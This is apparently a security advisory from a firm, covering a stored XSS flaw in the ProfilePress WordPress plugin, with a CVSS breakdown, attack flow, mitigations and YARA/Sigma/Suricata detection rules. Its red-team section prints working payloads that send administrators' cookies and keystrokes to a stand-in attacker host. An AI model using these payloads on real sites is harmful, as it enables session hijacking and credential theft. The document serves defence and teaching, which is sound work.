CVE-2024-2867

Executive Summary

CVE-2024-2867 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.15.4. The flaw resides in the title parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using ProfilePress for membership, ecommerce, and user profile management. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch and public PoC availability increases the urgency for mitigation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting the ProfilePress plugin (slug: wp-user-avatar). As a WordPress plugin, it is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. The plugin is not an NPM, PyPI, Go, or Ruby package, so no package manager-specific supply chain risks apply. However, administrators should verify plugin integrity and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – Victim must visit the compromised page.
• Scope (S): Changed – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Script injection can modify content.
• Availability (A): Low – Potential for denial of service via script execution.

Threat Level: Medium. While the CVSS score is moderate, the combination of stored XSS, low privileges required, and no patch available elevates the risk for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability exists in the ProfilePress plugin’s handling of the title parameter, likely within a custom post type or shortcode that renders user-facing content. The plugin fails to sanitize and escape user-supplied input before storing it in the database and later rendering it in HTML. This allows an authenticated attacker with contributor-level access to inject malicious JavaScript, HTML, or other web scripts.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a ProfilePress element (e.g., a membership plan, registration form, or user profile field) and sets the title parameter to a malicious payload, such as <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without proper sanitization.
4. When an administrator or other user views the page containing this element, the script executes in their browser.
5. The attacker can then steal cookies, session tokens, perform actions on behalf of the victim, or deface the site.

Root Cause: Insufficient input validation and output escaping in the plugin’s codebase. The title parameter is likely echoed directly into HTML without using WordPress’s escaping functions like esc_html() or wp_kses().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (Example):

echo '<h2>' . $title . '</h2>';

Patched Code (Example):

echo '<h2>' . esc_html( $title ) . '</h2>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with ProfilePress plugin version <= 4.15.4.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to ProfilePress → Add New (e.g., Membership Plan).
3. In the title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the plan.
5. When an administrator visits the plan page, the script executes, sending the admin’s cookies to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key='+e.key);
});
</script>

Blue Team

Detection Steps:

1. Monitor for unusual title parameter values in ProfilePress forms or plans.
2. Review WordPress database for stored XSS payloads in wp_postmeta or custom tables.
3. Use web application firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Disable the ProfilePress plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains from WordPress admin pages.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with XSS payloads.

• Host IOCs:

  • Presence of <script> tags in ProfilePress title fields in the database.
  • Modified ProfilePress plugin files (e.g., wp-content/plugins/wp-user-avatar/).

• File IOCs:

  • Log entries showing title parameter with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2024_2867_ProfilePress_XSS {
    meta:
        description = "Detects stored XSS payloads in ProfilePress plugin title fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2867"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $profilepress_title = /title=["'][^"']*<script/is
    condition:
        $xss_payload or $profilepress_title
}

Sigma Rule

title: CVE-2024-2867 ProfilePress Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via ProfilePress title parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-method: "POST"
        cs-uri-query|contains: "action=profilepress"
        cs-uri-query|re: "title=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2867 ProfilePress Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=profilepress"; http_client_body;
    pcre:"/title=[^&]*<script/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-2867;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the ProfilePress plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST parameters.

Long-term Fix:

• Monitor the ProfilePress plugin repository for an official patch.
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all custom code using the title parameter.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
• Manually edit the plugin files to add esc_html() around the title output (not recommended for non-developers).

Valters IT
Securing Digital Frontiers